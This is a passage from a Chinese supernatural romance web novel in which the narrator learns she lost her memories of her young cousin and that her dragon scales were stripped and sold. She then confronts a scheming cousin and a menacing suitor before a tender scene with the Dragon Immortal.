吴小红说着就要给阿乞师叔下跪,阿乞师叔着急从坟头跳下来,扶住吴小红, “救是肯定会救的,路见不平拔刀相助是我的人生座右铭!你放心,只要我们在,不会让江墨川弄死那条蛇的!” 流苏抱着胡玉衡的牌位小声问:“王白雾和赵大山关系很好吗?为什么她总是护着赵大山。” 吴小红哭红双眼恼火说: “那个狐狸精,他喜欢大山,从小就喜欢。 但赵大山老娘是个讲究人,死活不肯让赵大山找个算命瘸子的闺女当媳妇。 而且王瘸子先前得罪过赵大山爹妈,听说是因为我公公的妹妹年轻时生孩子难产,家里人怀疑是被什么东西堵住了,就想着去找王瘸子来作法驱驱邪。 结果王瘸子那天刚喝完酒,正耍酒疯呢,我公公跑去请他,他磨磨蹭蹭不肯来也就算了,还指着我公公鼻子骂了我公公一顿。 我公公憋着火千求万求才把他求过来,到家却得知他妹妹十分钟前已经疼死了,孩子也没生下来。 从那以后我公公就恨上了王瘸子。 后来赵大山到了该结婚的年龄,村里明眼人都能瞧出来王白雾喜欢赵大山,王瘸子还特意找了媒婆来说亲,但被赵大山老娘一句不娶算命先生的闺女当媳妇给怼了回去。 打那以后,她俩的事就算彻底吹了。 只是王白雾对赵大山还没死心,哪怕赵大山都娶两个媳妇了,王白雾也还像个苍蝇一样,隔几天来骚扰赵大山这坨大粪一次!” 我张了张嘴,哑了许久才明白过来: “还真是喜欢赵大山啊,怪不得那么帮赵大山说话,言语中对赵大山前妻敌意那么大。” 流苏小声和我吐槽:“二姐你瞧,还真被我给猜中了吧,王白雾就是喜欢赵大山,把赵大山媳妇当成了情敌。” 杨泽安惋惜道: “当初就不该拆散他们,赵大山和王白雾简直是天造地设的一对,这两个事精就该一辈子相亲相爱锁死,免得再去祸害别人!” 阿乞师叔摇头感慨:“都是命啊。行了,这事我们清楚了,后面怎么办,走一步看一步吧。” 吴小红啜泣着点点脑袋。 阿乞师叔临走又特意嘱咐吴小红一句: “你如果真想为你的兰茹姐做些什么,就在晚上太阳落山后,去黄河边上给你兰茹姐多烧点香火。她现在,用得上这个!” “去黄河边上烧香?”吴小红不理解地擦擦脸:“为什么要去黄河边烧,不能在兰茹姐的坟前烧吗?” 阿乞师叔直言道:“因为你兰茹姐的尸体根本不在这座坟里,她死后尸身被丢进了黄河。” “什么?”吴小红万分震惊地悲愤落泪:“这个该死的赵大山!” 我有种预感,这次就算赵大山真被人救下来了,侥幸逃过一劫…… 未来吴小红也极有可能会给赵大山下耗子药。 毕竟老实人被逼急了也会咬人。 赵大山杀妻杀女,还不把吴小红当人看,冤孽造多了,总会遭报应,被反噬的。 从赵大山前妻坟地回去的路上,流苏软糯糯地问我: “二姐,你说王白雾要是知道赵大山人品烂到这个地步,为了钱不惜杀人灭口,还家暴上瘾,她还会这么痴迷于赵大山吗?” 我摇摇头: “就是因为没有得到,所以才会美化那个不曾拥有的人。 才能在别人受苦受难时,面不改色地站在一旁说风凉话,甚至煽风点火。 刀子没有扎在她身上,她感受不到疼。 可一旦捅进了她的身体,她肯定会比任何人都叫得凄厉。 不过有些事,知情,和落在自己身上的感觉是截然不同的。 以王白雾那个癫性,单让她知道这些事,还不够,得让她切身体会到拳头挥在她身上的感觉,她才能认识到自己之前的言论多可笑。 如果直接和她说赵大山家暴,她八成还会为赵大山说话,还会帮着赵大山谴责他媳妇呢。 毕竟小红嫂子刚才也说了,赵大山有几次打她,就是王白雾在中间挑拨拱火。” 杨泽安道:“所以我才说王白雾和赵大山天生一对,这辈子没能喜结连理一辈子锁死真是可惜了。” 被流苏抱在怀里的胡玉衡闷声吐槽:“真是给我们男人丢脸啊!” 流苏揣着胡玉衡忙乖乖问:“玉衡哥哥,今晚我可不可以少写两道数学题,我昨晚学了一晚上数学,脑子都快炸开了。” 胡玉衡体贴答应:“可以,今晚我来教你高中语文,咱们从文言文开始学起。” 流苏开心点点脑袋:“谢谢玉衡哥哥。” 牌位里的胡玉衡不自觉软下清澈嗓音:“不客气,苏苏。” 杨泽安默默拽着我的胳膊把我拉到边上,小声和我闲谈: “你有没有发现,流苏来到你身边后明显开朗了许多,也爱说话了。” 我颔首:“是啊,从前她和我一样,都是一个人闷在家里,也没人陪着说话生活,算是被迫性情孤僻的。” 杨泽安感慨道: “早知道就早点把她送到你家去了,这样你们姐妹俩也能做个伴。 不过,前几年你们姐妹是不是闹什么别扭了?” 我迷茫回答:“没有啊,你为什么这样问?” 杨泽安更不理解了:“既然没有闹别扭,怎么后来完全没来往了?” 我听得云里雾里: “我和流苏,之前好像没那么熟吧? 流苏从前和大伯家来往得比较频繁,她也就这次被大伯吓到了,才跑来找我,和我慢慢熟悉起来……” 杨泽安脸色怪异地盯了我很久,双臂抱胸喃喃道:“不对,你的记忆有问题,你是不是失过忆?” 我惊讶高呼:“怎么可能?我怎么不知道!从小到大的记忆,我明明都有。” 杨泽安猛吸口凉气,试探道:“你还记得你是几岁认识我的吗?” 我一口答道: “四岁啊,那时你六岁,杨大哥十六。你们刚来槐荫村那天,还是村长给你们找的住处。 我俩第一次见面时,你正被村里大黄狗追着咬,还是我帮你赶走的大黄狗呢!” 杨泽安脸色严肃地嗯了声:“没错……那你还记得你和流苏是什么时候认识的吗?” 我考虑了下,“好像是,八九岁的时候。流苏来大伯家借蜡烛,她那时候想找我玩来着,但是风柔不喜欢她,还把她推摔了一跤。” 杨泽安神情愈发凝重,眸光深冷地盯着我,一字一句告诉我: “萦萦,你三岁时,流苏刚出生,你就认识她了。你六七岁那会子,还拉着流苏在黄河岸边捡石头。 你俩小时候关系好到她一天见不到你就哭,你忘记了吗,她是在你怀中长大的。 你护她,护得比护风柔还厉害……她曾经,也是你抱在怀里宠的小妹妹啊。” 我顿时呼吸一窒,心像被一只无形的大手攫住,不敢相信地低喃:“我早就认识流苏,可为什么我都不记得了!” 难道,我真的失忆过?! 那我忘掉的那段记忆,除了有和流苏的过往,还有别的重要记忆吗…… 阿乞师叔和杨泽安送我与流苏回到家后,流苏才和我说出了埋藏在心底多年的秘密—— “我其实,一直都能看见二姐背上的龙鳞。小时候我趴在二姐背上的时候,还数过,一共九片。 二舅舅和二舅妈相继出事后,二姐被送到了大舅舅家里,和大表姐一起住。 大舅舅两口子一开始对二姐还挺好,拿二姐当亲闺女对待,连大表姐都失宠了。 但是二姐从来没想过取代大表姐,没想过霸占大舅舅大舅妈对风柔大表姐的爱。 大舅舅偏心二姐,把家里好东西都拿给二姐吃,二姐就偷偷藏下,再送给风柔大表姐。 可大舅舅大舅妈对二姐的疼爱,只持续了两年。 我记得二姐九岁那年的春天,我去找二姐玩,却看见二姐背上全是血。 我的眼睛,能隔着二姐的衣物,看到二姐背上的粉色龙鳞少了一片。 我问二姐是不是有人欺负她,二姐也不说。 没几个月,二姐背上的龙鳞又少了一片。二姐的脸色也变得好难看,有时候还会咳血。 大舅舅家里的鸡蛋也不给二姐吃了,大舅妈突然特别疼爱风柔大表姐,经常给大表姐买新衣服,买肉吃。 大表姐过生日,大舅妈还给大表姐买了一对银镯子。 但大表姐嫌那对银镯子不够重,还抢二姐的。 二姐不给,二姐说她的银镯子是二舅妈给她打的,不能送人。 可谁能想到,大舅妈当场发火,一巴掌把二姐从饭桌上扇摔倒在地。 我当时吓死了,搂着二姐不停哭。 后来二姐手上的那对银镯子还是被大表姐抢走了,现在还戴在大表姐手腕上呢! 有一天,我去大舅舅家找二姐玩,二姐不在家,我却无意听见大舅妈在和人打电话。 大舅妈告诉电话那头的人,说自己手上有龙鳞,三十万一片,不讲价。 那时候我才知道二姐的龙鳞是被大舅妈剥了。 二姐失去第三片龙鳞后,那年夏天在黄河岸边玩,突然被一个浪卷下去了。 但幸好附近有村里人在,及时把二姐拽了上来。 二姐被捞上来后生了场重病,村里的老人家都说二姐是冲撞了黄河边上的野龙王庙,被龙王惩罚了。 大舅妈在野龙王庙前烧了好几天纸,二姐才慢慢好起来。 再后来,她们都说二姐没事了,可我却发现,二姐好像不认识我了。 我去找二姐,二姐也不和我玩,我被风柔大表姐欺负,二姐也只会护着大表姐。 大表姐还威胁我,不要动不动就往她家跑。 她说二姐讨厌我,一直都很讨厌,说二姐嫌我是个没妈的野孩子。 她还说,二姐告诉她,二姐掉进黄河生病,就是因为我总缠着二姐,把自己身上的霉气过给了二姐…… 我以为二姐真的不要我了,这才不敢再往大舅舅家跑。 而且,姥爷去世后,我每次去大舅舅家吃饭,二姐都一句话也不和我说,我好难过…… 我自己也怕再缠着二姐真会害了二姐,就故意亲近大舅舅大舅妈,还有大表姐,没再靠近二姐。 我以为二姐讨厌我……这次如果不是大舅舅非要逼我嫁给那个精神病,我也不会来麻烦二姐。 我实在没地方去了,只能找二姐救命。 我小时候就跟在二姐身后,我只知道,只有二姐才会保护我,这世上,只有二姐最疼我……” 流苏说完,委屈的哇一声就哭了出来。 第一卷 第39章 想活命,就自己嫁过来! 胡玉衡迅速抽了张纸巾给流苏擦眼泪,温声哄着流苏: “好了好了,没事了,别怕别哭,你二姐不是不要你了,她只是不记得那些事了。” 杨泽安观察着我的反应,四根手指头在桌面轮流敲得噼里啪啦响: “我就说吧,你俩后来突然不来往,肯定有问题。你不是那种无缘无故就和别人不处了的人!” 我咬住下唇,十指紧握成拳,心乱如麻: “我和流苏的过往,我真的一点都记不起来了,我只知道流苏不爱说话,只知道风柔说,她讨厌流苏,说流苏……太爱哭。还有流苏说的,什么镯子的事,我也不记得了。” 但我还记着,风柔手腕上的确有一对漂亮的银龙双响镯,风柔很宝贝那对双响镯,戴了十来年从未摘下过。 难道那对镯子,就是她从我这要去的? 所以风柔一直都知道我失忆了……但她和大伯大娘,都从没和我提起过! 阿乞师叔思忖一阵,道: “有的人在落水后,受了极大的惊吓,的确会导致失忆。 二姐这种情况,更像是没有完全失忆,只是丧失了关于某个人,或某段时间的记忆。 所以不是常在身边的亲近人,根本发现不了,如果没有人提醒,失忆的人甚至会这辈子都无所察觉。 毕竟,失忆就像打麻药,人上一秒还清醒着,下一秒断片了。 不管断片的过程有多久,人只能记住闭眼前一秒,和睁眼后一秒的画面。 且这两段相隔甚远的记忆,在人的脑子里却是连贯的。 人根本察觉不到自己失去了记忆,人只会觉得,闭眼后的下一秒,就该是自己睁开眼看见的那样。 因为人,在没有接收到别人特意的提醒下,根本不会想到怀疑自己的记忆。” “是啊,我就没有怀疑过自己的记忆有问题。” 我扶住脑袋惆怅说: “而且我也不是完全失忆,那时候我年纪还小,该记得的事都记得。 我认识大伯大娘,认识风柔,认识杨大哥和泽安,根本想不到,我不认识苏苏是因为我把她忘记了。” 胡玉衡还在帮流苏擦眼泪,杨泽安着急问阿乞师叔: “师叔你不是会用蛊吗?苗疆有没有什么能刺激人恢复记忆的蛊,给小萦用用,让小萦记起来啊!” 阿乞师叔打了个哈欠吊儿郎当说: “蛊和药是一个性质,是药三分毒,蛊却有七分。 反正苏苏现在已经回到二姐身边了,用蛊强行刺激二姐想起来,不值得,二姐本来身子就弱,我怕用蛊给二姐留下什么后遗症。 苏苏小时候不是常在二姐身边嘛,那二姐的事苏苏肯定大部分都知道,以后再发现不记得的事,让苏苏告诉二姐不就得了。 而且,二姐还有可能是因为龙鳞离体伤了魂魄,又落进了黄河,黄河内煞气重,冲散了她部分记忆。 如果真是这个原因,那等二姐身子养好,丢失的记忆就还能找回来,不用瞎折腾。” 杨泽安半信半疑:“是吗?” 我伸手摸摸流苏的小脸,轻声安抚她: “对不起苏苏,是我不好,我以为我们不熟,你又不爱说话,所以后来这几年才没在意过你…… 我不知道,我们那么早就认识了。” “二姐。”小丫头顿时哭得更卖力了,扑进我怀里委屈巴巴:“还好你是失忆了,不是真讨厌我。” “笨蛋。” 我摸摸她的脑袋叹口气: “如果讨厌你就不会留你在家里住了,苏苏,喜欢一个人,就算失忆,再见到也还会继续喜欢的。” “二姐……”流苏哽咽着后悔道:“我应该早点来陪你的!” 我拍拍流苏肩膀,用袖子给她擦去脸上的泪水。 阿乞师叔托着下巴摇头:“还真是命中多舛啊,全是考验。” 我静不下心的低声说: “其实,我现在唯一怕的是,除了苏苏,我是否还有别的在意的人被我遗忘了…… 如果有,我这么多年没再理过他,他会不会也和苏苏一样难过,对我失望。” “啊那不可能!”杨泽安没心没肺打消我的顾虑:“除了我和流苏,村里也没别的孩子乐意和你玩!” 我:“……” 真相总是这么扎人心! 蹲在流苏身边晃荡着七条雪白大尾巴的老狐狸胡玉衡认真道: “小萦,你就没有发现,风柔这些年一直在有意离间你身边所有人么?” 我一怔。 是啊! 从流苏,到江墨川,还有这几位仙家。 似乎和我关系好的人,最终都因她,离我而去…… 之前我只以为她是没心眼,缺根筋,心不坏。 至少对我没有恶意。 可没恶意,怎么会想到怂恿江墨川剥我身上的鳞呢? 我已经没有龙鳞了,再剥,就是这层皮了。 回家后没有见到龙仙大人,黄仙颜如玉和我说他出门往北边去了。 北边,只有供奉水神娘娘的镇水楼。 我本来想一路往北走去找龙仙大人的,可惜龙仙大人没找到,刚走到黄河边上却冤家路窄地碰见了风柔。 “小萦!”风柔在路那头远远朝我招手,拎着黄裙摆就朝我跑了过来。 根本不给我跑路的机会。 风柔气喘吁吁地来到我面前,亲近拉住我手一脸无辜地问: “你是不是生我气了?小萦,你气我抢了你的墨川哥哥对吗?所以你这几天才不理我,故意和风流苏那个小偷走得近。” 我听不惯地皱眉反驳她:“流苏不是小偷,你不要这么称呼她,她是我们的表妹。” 风柔晃了晃我的胳膊委屈道: “你瞧你,就是生我的气了,现在都开始护着风流苏了。 小萦,我真不是故意要和你抢墨川哥哥的,那天黄河里的女尸点名要收走村里所有未嫁女孩下去做宫女,我实在太害怕了…… 我也没想到墨川哥哥竟然会做先娶我的决定,小萦,是我不好,你生气打我两下骂我两句……” 她拿着我的手就要往自己脸上扇。 我不耐烦地用力抽回自己手,“你别这样!” 风柔眼眶一红,眼泪说来就来,像是受了天大委屈般目光‘真挚’地望着我: “这次总归是我对不起你,你放心,我绝没有独占墨川哥哥的意思。 我昨天和墨川哥哥说了,黄河女尸已经被斩杀了,我们也没必要再假扮夫妻,我愿意把墨川哥哥还给你!” 把江墨川还给我? 我忍不住冷笑一声,顺着她的话问:“那江墨川呢?他同意么?” 风柔立马心虚低头,假装为难的可怜埋怨: “墨川哥哥说,我们已经有了夫妻之实,他要对我负责…… 墨川哥哥重情重义,我怎么劝都没用。 不过小萦你放心,墨川哥哥答应过我,以后他会多陪你,多弥补你……” 再次拉住我的手,她泪眼盈盈地向我保证: “墨川哥哥还是你的,我不抢。 墨川哥哥和我结婚,也是情势所逼,小萦,你这么善解人意肯定能理解墨川哥哥的难处吧。 墨川哥哥是为了你,才勉强娶我,护着我。” 这些话换做以前,我肯定又要下意识怀疑自己是不是真想多了,可自从看见他们在我家滚在一起,亲耳听见他们要剥我龙鳞,再听这些话,我只觉得讽刺好笑。 “姐,江墨川已经娶了你,村里几乎所有人都知道他现在是大伯家的女婿,你都往他身上涂满标记了,还怎么还给我?” 我冷静质问她: “你是想让他一个男人娶两个女人,被村里的吐沫星子淹死,还是想让我做那个见不得光的,你丈夫的另一个老婆?” 风柔一哽,显然是没预料到我会有此一问,心慌意乱地抖着声柔弱说: “你要是介意,我会马上和墨川哥哥离婚的!小萦,我们姐妹真要为了一个男人反目成仇吗?” 洗脑不成又开始道德绑架了。 我轻嗤: “姐,别人不知道,你还不清楚,我要江墨川是为了什么吗? 你究竟什么时候才能认清,我们之间根本不是为了所谓的抢男人才变成现在这样,而是你断了我的生机,差点要了我小命的事实?” 风柔脸上表情瞬间僵住,眼神飘忽的颤颤狡辩: “我、真的不知道墨川哥哥会那样做,我没想到墨川哥哥会把我们的婚期也定在二月初二,和你的生日同一天……” 说着,还满脸无辜地哭起来: “墨川哥哥只是说,不会委屈了我,说,我永远是姐姐…… 小萦,你就原谅我一次好不好,我真不是存心要害你。” 我深呼吸,看着眼前这个满嘴谎言,戏说演就能演的女孩,冷漠说: “姐,江墨川我不要了,欠你的,我们两清了。” 风柔意外昂头,泪眼朦胧地盯着我愣很久,“你、这是什么意思?小萦我……” 我懒得听她扯谎,平静拆穿她的真面目: “那天在黄河边上,你看见了龙仙大人对吗?你也看见我和他抱在了一起。 可你为什么不告诉江墨川,还纵容他来没完没了的骚扰我?” 风柔本能的想否认,“我没、”顿了顿,又找了个合理的理由:“我那天被吓掉了魂,没注意什么龙仙……” 我心烦气躁地转身要走。 身后的风柔消停了两秒,可很快又跑上来拉我的手,哭着着急喊:“小萦,我把墨川哥哥还给你,你就别生我气了好不好!” 没等我反问她又抽什么风,她就自己手一松,柔弱地往后倒下去。 她摔倒在地的那一瞬,我甚至还在好奇她往这么松软的黄河泥沙滩上摔有什么意义,又不疼。 但万万没想到,报应来得太快,下一秒我就被一袭墨衣的白眼狼狠狠推了把。 幸好我底盘稳,才没像风柔一样摔得满身泥。 身披墨色宽袖大袍,墨发高束的江墨川着急把风柔从地上扶起来,丝毫不嫌弃风柔满身泥沙,心疼抬手把风柔护进怀里,扭头凶神恶煞地瞪我。 “风萦!你胆敢背着本尊欺负柔儿!” 我气极反笑,抬高嗓音反驳回去:“我没有!你瞎啊,看不见是她自己摔下去的?” 风柔羸弱地抓住江墨川胳膊,躲在江墨川怀里梨花带雨的善良大度说: “墨川哥哥,你别怪小萦……真是我自己没站稳摔下去的。” 她不开口倒还好,一开口,明明是替我证明的话,听起来却更像是坐实了我的罪名。 偏偏江墨川就吃她这一招,闻言反而将她护得更紧了,目光凶戾地死死盯着我,恼怒道: “风萦,你除了会利用柔儿的心善,还有什么本事!亏本尊还特意去镇上挑了你喜欢的桃花红盖头,想着送你…… 没想到你如此容不下柔儿,既然你这么心胸狭隘善妒成性,那本尊也不用给你脸了!盖头嫁衣,你自己准备! 别怪本尊对你狠心,这一切都是你自找的。想活命……明天自己给本尊嫁过来!” 我突然觉得江墨川这人不但黑心肝,还有妄想症! 但,没办法,是我给的勇气,只能自作自受了。 我暗暗攥紧双手,不卑不亢地直视他那双幽寒墨瞳,再次郑重地告知他:“江墨川,你听好了,我已经嫁给……” 话没说完,风柔突然两眼一闭晕倒在了他怀里。 “柔儿!”他顿时被风柔吸引去了所有注意力,慌促地搂住风柔,将风柔打横抱起。 抱着风柔路过我肩旁时,江墨川特意停了一步,扭头用阴戾眼神剜我,咬牙威胁:“柔儿要是有个三长两短,本尊绝不饶你!” 继续走了两步,又停住:“嫁衣,不许绣花,不许太艳,不许比柔儿的、华丽,风萦,认清自己的身份,你没有喧宾夺主的资格。” 全说完,他才迈着疾步匆匆抱风柔回家。 我回头看着江墨川抱风柔一缕黑烟消失无踪,干笑笑,嫌弃地自言自语: “有病吧!你的柔儿又不是纸人,风一吹就破! 还嫁衣不许绣花,不许喧宾夺主,江墨川,你脑子里长寄生虫了吧。” 回过头,我打算继续往北边走。 但一抬脑袋,目光就撞上了一道清冷颀长的尊贵身影。 “龙仙大人……” 第一卷 第40章 风萦,你可有一瞬后悔过 龙仙大人一袭清贵墨紫银云纹绣飞龙的神袍,龙冠束墨发,过腰青丝如瀑如水倾落背后。 眉眼清冷地睥睨我,威仪端方负袖而立。 寒风拂过,携来他衣上三分冷香。 一举一动都极有神性的淡漠问:“还放不下他?” 我尴尬耸肩:“怎么可能。” 龙仙大人看起来心情不太好,言辞犀利地启唇:“他都那样羞辱你了,你还能容忍。风萦,你可真是胸怀宽广。” 我能听出来他后面那句话里的嘲讽,低头小声咕哝:“那我能怎么样,龙仙大人你也太看得起我了。我只是个普通人类,他是仙家,是蛟仙,我和他硬碰硬只有一个下场。” 我撸起袖子,露出手臂上那一小截被雷火灼伤,颜色焦黑的皮肤,低头没出息说:“就是这样。我太清楚,在绝对强大的力量面前,我的反抗只会带来更多反噬。他江墨川就算在这地方悄无声息把我解决了,也不会有人为我讨个公道……不过。” 我话头一转,看着龙仙大人坚定道:“我要是早知道你在附近,我就不忌惮他了!” 龙仙大人鼻尖溢出一声极浅的冷嗤,眼神冷漠:“你凭什么以为,本王会护你?你不是风柔,本王也不是江墨川。” 虽然话有点扎心,可我还是抿唇笑笑:“你和江墨川不一样。” 他听罢,冰冷的眸子里漾开一层浅浅涟漪,转身面向浊浪滚滚的黄河:“风萦,你和本王记忆中的,不一样了。是不是从云端跌入泥潭后,你也学会了委曲求全。” 我没懂他这话的意思,低头绕手指:“你可能对我有什么误解,我一直都这样……对了,我刚才真没有推风柔。” 不知为什么,就是不想他也误会我是个小肚鸡肠,会存心欺负风柔的人。 龙仙大人平静反呛:“本王又不瞎,本王长眼了,能看见。” 我松口气,闷声轻笑。 他问我:“笑什么?” 我如实说:“就是突然感觉,身边有个无论发生什么事,都会选择听我解释,相信我的人挺好。” 他眉心微拧,神色依旧凝重。 过了很久,他才突然问我:“风萦,如果有一天,你被你最信任的人冤枉,重伤,他还将你关在暗无天日的牢笼里上千年,你会恨他吗?” 我吹着河边的寒风,点点头:“会。” 他面色愈沉:“所以,待你重见天日,你想杀他,亦是合理。” 我接着点头:“当然合理了,他冤枉我,重伤我,还关押我,我想杀他报仇,这是人之常情,也是他欠我的。” 他回眸看我,眼神中肆意翻涌的,是我从未见过的凌冽肃杀之气:“你说的对,这是她欠下的。” 黄河边突然掀起了飓风,刀子般的寒风卷得河中黄浪一重盖过一重。 可能是黄河水浪卷的太吓人,我胸膛内的这颗心也骤然漾起了强烈的怨意……还夹着一股莫名其妙,想杀人的冲动! 内心深处又隐隐生出几丝不祥的预感与恐惧。 难道,是在心疼他? 心疼到恨不得想替他杀了那个关押他,害他失望的人? 我按住起伏剧烈的胸膛,无意扫见狂风折断河边桃枝,桃花坠入黄河,被泥水又冲上了河岸…… 我谨慎的走到河边,从水里捞出反被黄水洗去瓣上风沙的桃花枝丫,小心翼翼用指腹抹去花瓣上的水渍。 怎么突然感觉后背毛毛的。 我拿着桃花转身去找龙仙大人,回头却被好几滴黄河水迎面溅了一脸…… 怪了,我在往高处走,竟然还能被黄河水溅一脸,这不符合常理啊! 难道是龙仙大人故意使坏用法术拿黄河水泼我? 但我抹去脸上的凉水准备问龙仙大人什么意思时,龙仙大人却先一步转头,避开与我目光交汇…… 今天的龙仙,怎么奇奇怪怪的。 我没再计较黄河水溅了我一脸的事,走两步,又猛地发现地上有几根摔碎的尖细冰锥…… 看着有点眼熟,好像、之前龙仙大人施法对付蛇妖的时候,就用法术化出了几根一样的。 还好躲得快,不然就扎到脚了。 我刚靠近他,他就目光飘忽的要走。 但我拉住了他的手,把从水里捞出来的那枝桃花放进了他手中,轻轻和他说: “都结束了,龙仙大人,以后你不会再吃苦了。送你一枝小花花啊,总有一天,你的冤屈会被洗清。 龙仙大人,你受委屈了……别难受,我陪着你。下次再有人冤枉你,我替你骂回去。” 话刚说完,身体却突然被他搂进了怀里…… 他单手按住我的肩,另一只手环在我的腰上,把我抱得很紧很紧。 低头将下颌倚在我肩上,他哑了嗓子,小声喃喃:“风萦,你可有一瞬……” 后面三个字他说的很小声。 但我隐约听着,好像是……‘后悔过。’ 他这是担心我后悔把他从血玉棺里放出来? 怎么可能,他可是我的护身符! 没有他我早就小命呜呼了。 我僵硬的伸手,也拍拍他的后背,语气真挚坚定的告诉他:“为龙仙大人你做的一切,我都不后悔……除非你以后也像江墨川一样,想杀我。” 他脊背一颤,呼吸一顿,下一秒别别扭扭的猩红着眼尾推开我。 我被他推得一头雾水,干嘛啊,龙仙大人这变脸速度也太快了吧! 他拿着桃花拂袖往前走了两步,离我远点,不自在的拧眉闷咳:“该回去了。” 我哦了声,老实跟上他。 走着走着,我发现腕上的红绳突然发光开花了! 金萼红花一小簇一小簇的绕着红绳绽放,好看极了。 我惊讶的看着这一幕,兴奋的追上龙仙大人拽他袖子,把胳膊送上去:“龙仙大人你看!花!开花了!” 龙仙大人斜目睨我,淡定道:“大惊小怪。” 我还是激动:“可是它开花了哎!这什么花!” 龙仙大人喉间滚了下,错开目光:“没名字,不知道,风萦,别整天一副没见过世面的样子……” 我不以为然的哼了声,坦然承认:“我就是没见过多少世面嘛,所以龙仙大人你得包容我!” 挽住他的胳膊,我不依不饶的缠着他:“你就告诉我这是什么花嘛,龙仙大人你别总臭着一张脸啊……龙仙大人!” 他被我吵烦了,蹙眉放狠话吓唬我:“风萦,你再晃本王,信不信本王把你扔进黄河里!” 我都习惯了他的嘴硬心软,放开他的胳膊嘁了声,从口袋里掏出手机,拍照识图。 他不告诉我,我就问万能的浏览器! 识图结果出来,竟然是……传说中的连理枝花。 我这才意识到,腕上的那根红绳细瞧也变了样,和网图上连理花的连理枝一模一样,只是比网图上的花枝要细上许多。 举起胳膊看着,就像一条花藤缠绕在腕上,的确赏心悦目。 “这是连理枝花啊?”我惊叹:“以前我还以为,连理枝是神话中的东西,现实世界根本没有呢。” 我才嘀咕完,手腕就被龙仙大人一把拽住,龙仙大人红着耳根快步拽我回家:“你还要不要回去了?磨磨蹭蹭。” 我无奈的被迫小跑着跟上他:“龙仙你急什么啊,家就在那还能长腿跑吗,轻点轻点,胳膊要断了……” 龙仙大人没心没肺的吓唬我:“清明将至,河面阴气重,你若是不想被上岸的水鬼抓去做替身,就离黄河远些!” 水鬼…… 我陡然惊醒神,沉重的步伐顿时就有劲了。 反抓住龙仙大人的手一股脑就往家的方向冲:“水鬼啊,我不要!我今天没带护身符,龙仙大人快跑!” 龙仙大人:“……” —— 晚上,胡玉衡在认真的教流苏学习高中语文。 流苏没有小学初中的基础,突然从高中知识开始学起,那些晦涩拗口的文言文难免让她有些吃力。 但好在胡玉衡当年教我教出了经验,现在面对比我底子更差的流苏,反而比当年更有耐心了些。 流苏不认识的字,胡玉衡顺手教了,流苏不明白的词,胡玉衡能耐心的重复解释数遍。 那些古文,胡玉衡几乎是一字一句的给她揉碎了,全部翻译成大白话,带着她从头到尾仔仔细细的捋一遍。 一个小时下来,流苏的课本上记得全是翻译笔记。 不过流苏有个长处,她记忆力好,虽没达到过目不忘的本事,但需要背的文言文,她能在半个小时内全部搞定。 单这一点已经完胜了当年的我,想当年我背这些课文,家里这些仙家都是要陪我熬到半夜的。 好几回鱼仙白仙他们都会背了,我还脑子空空。 流苏今晚的语文学习的十分愉快,为了表扬流苏,胡玉衡还特意奖励了流苏一杯奶茶。 愁得教数学的黄仙嗑了两盘瓜子。 “苏苏这小丫头,上我的课打瞌睡,今晚换成胡玉衡来教,就不困了!我哪里不如胡玉衡了?” 黄仙气得哐哐砸桌子。 流苏捧着奶茶过来找我,乖巧的眨了眨一双水灵灵大眼睛:“玉衡哥哥比你温柔,如玉哥哥,你下次上课能不能别敲我脑袋。” 把奶茶送给我:“二姐,喝!” 我推开她松开的奶茶婉拒:“不喝了,我晚上吃撑了,现在有点喘不上气。” 扭头帮她一起谴责颜如玉:“承认吧,你没胡玉衡有耐心,我当年也没少被你敲脑袋。” 黄仙晃了晃尾巴骄傲掐腰:“你们懂什么,玉不琢不成器,我对你们严格要求,是为你们好!数学可是门高深的学问,没听说过一句话吗,学好数理化,走遍天下都不怕!” 说起这个,我又告诉了流苏一个让她崩溃的真相:“哦对了,你物理也是他教。” 流苏刚吸进嘴里的奶茶差点喷出来,欲哭无泪的瘪嘴道:“啊?能不学吗……不是说,高中就分文理科了吗?” 我摊手:“对啊,但初中不分啊,而且高中分文理也是从高二才开始分的,苏苏你如今还在新手村,还没达到可自主选择文理科的要求。” 流苏捧着奶茶顿时就开心不起来了,扭头去找胡玉衡:“呜玉衡哥——” 黄仙嘚瑟的用长爪尖敲着桌面:“叫哪个哥都没用,你要是不适应我教,我可以把化学分给胡玉衡教。” 流苏脚步一顿,立马拒绝:“啊那算了,还是你教比较好。” 黄仙坐直身:“为什么?你不是喜欢你玉衡哥吗?” 流苏小丫头现在也学会了呛人,耸耸肩:“我怕破坏了玉衡哥哥在我心中的美好形象。” 黄仙:“……” 胡玉衡闻言闷笑一声,七尾白狐原形在流苏眼前银光一晃,化成了一名身穿玉色广袖古代锦袍,墨发如瀑随意披落肩后,只用一条银线绣云纹的玉色发带做饰,剑眉星目,狐眼玉颜的高大俊美男子。 眉心一抹银色狐尾印记熠熠生辉,一米八五的个头站在身高仅一米六的流苏跟前,有种最萌身高差的视感…… 我家供养的这些仙家个个都容貌俊逸,气质不凡,我见过他们的真容,流苏却没有见完。 胡玉衡的人形模样流苏还是头一次见,不出意外的,流苏被狐仙的绝美姿色给勾走了魂。 “玉衡、哥哥……”流苏呆呆望着化成人形,眉眼温柔冲自己勾唇释放善意的胡玉衡,半晌都没回过神。 胡玉衡抬起大手摸摸流苏脑袋,轻轻应了个:“嗯。” 此情此景,黄仙抓了一把瓜子悄悄往我身边凑了凑: “小萦,我怎么觉得胡玉衡这老家伙,在祸害你家小白菜……” 第一卷 第41章 龙王大人有强迫症 我不自觉的双手托腮:“这一幕,我怎么在他俩身上看见了、CP感?” 黄仙嘶了声:“死狐狸,他以为自己在演偶像剧啊!” 话音刚落,虎仙和蛇仙蹲在我的卧房门口发出了一声浅啧。 我见他们在同一个地方蹲了足有二十分钟,就好奇起身,放轻脚步迈过去…… 顺着他们的视线看进卧房,只见龙仙大人在对着我先前给的那枝桃花犯愁。 “你们干什么呢?”我也蹲过去,小声问柳云衣。 柳云衣放轻嗓音和我八卦:“龙尊大人今晚有点反常,他先是站在窗前拿着那枝桃花盯了十来分钟,然后又去找容器,像是想把花养起来。但是找了一圈,发现你家没有花瓶,他就把你的水杯拿过来养花了。” 我:“???” 风震野及时补充:“你放心,他嫌你水杯太丑了,又把桃花拿出来了。” 我嘴角一抽:“……” 柳云衣:“然后,他就施法变出了好几个漂亮花瓶,只是都不满意,又给变没了。一枝桃花而已,龙尊大人怎么如此看重。” 说话间,卧房里的龙仙大人又一个弹指凭空变出了一个白瓷小花瓶。 柳云衣:“得,又变回第一个花瓶了!” 风震野:“龙尊是不是受什么刺激了?今天从镇水楼回来,他就乖乖的,现在还把一枝花当成宝贝。” 